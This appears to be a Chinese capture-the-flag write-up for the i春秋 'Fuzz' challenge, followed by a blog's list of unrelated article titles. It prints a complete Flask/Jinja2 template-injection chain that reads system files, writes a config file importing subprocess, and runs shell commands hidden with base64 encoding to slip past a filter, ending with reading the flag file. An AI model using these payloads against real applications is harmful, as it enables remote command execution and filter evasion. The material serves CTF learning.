i春秋Fuzz
点开只有三个单词plz fuzz parameter
大概意思就是让我们疯狂尝试参数。。。
我们通过url尝试传入参数
?user=123
?name=123
?username=123
?id=123
但参数为name时返回正确值
尝试在这里注入
。。。。。。
失败
但是这里会一直回显name后面的值
通过dalao们的无限测试后发现这里是python模板注入
再根据别人写的python模板注入的文章来跟着一步步注入
读版本文件:?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/issue').read() }}
向SSTI漏洞注入:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} (这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD。)
向config对象添加一个新项:?name={{ config.from_pyfile('/tmp/owned.cfg') }}
通过向SSTI漏洞注入来检测是否成功:?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}
成功返回
小括号单引号中的内容即为我们可以使用cmd执行的代码
将其改为ls
可能被拦截了
用base64先加密再解密的方法进行注入(bHMK为ls的base64加密)
?name={{ config['RUNCMD']('`echo bHMK | base64 -d`',shell=True) }}
没有返回,尝试ls -al
?name={{ config['RUNCMD']('`echo bHMgLWFsCg== | base64 -d`',shell=True) }}
查看源码获得排列好的文件名
再查看var/www/html下的文件名
?name={{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}
查看fl4g文件(cat var/www/html/fl4g)
?name={{ config['RUNCMD']('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}
拿到flag
最新文章
- Linq to sql 有什么办法可以实现消除列重复?
- Model &; ModelMap &; ModelAndView 比较ModelFactory简介
- jQuery同步Ajax带来的UI线程阻塞问题及解决办法
- js监听浏览器关闭事件
- 安装TokuDB引擎
- canvas绘制百分比圆环进度条
- CentOS 5.8 x64 安装TomCat
- LinkCode 下一个排列、上一个排列
- [BZOJ4825][HNOI2017]单旋spaly
- 使用 notify.js 桌面提醒
- HTTP劫持和DNS劫持
- python的oop概述
- 正则表达式中的re.S
- hiero.ui获取实例名的方法
- SQLite3问题
- 滴水穿石-04Eclipse中常用的快捷键
- Linux - history命令的常用方法
- 【TensorFlow】tf.nn.max_pool实现池化操作
- 剑指offer66:机器人的活动范围
- IDEA中java文件的左下角有个像乐符一样的J符号
热门文章
- Springboot配置文件参数使用docker-compose实现动态配置
- 货币转换I
- IDEA中直接将 SpringBoot项目打包成 Docker镜像时 pom.xml的配置
- 几个Caller-特性的妙用
- window安装MySQL 5.5教程
- Java登录专题-----创建用户(一)
- 基本的Dos命令 在控制台如何进入某一个文件或者进入不同的盘符
- 已知数据库中存在表tb_book2,通过在图书信息界面填写书本的基本信息,然后提交后写入数据库中的表格中。需要对提交的信息进行修改,信息填入不能为空,为空则则有提示。
- java实现双向链表的增删改查
- etcd实现分布式锁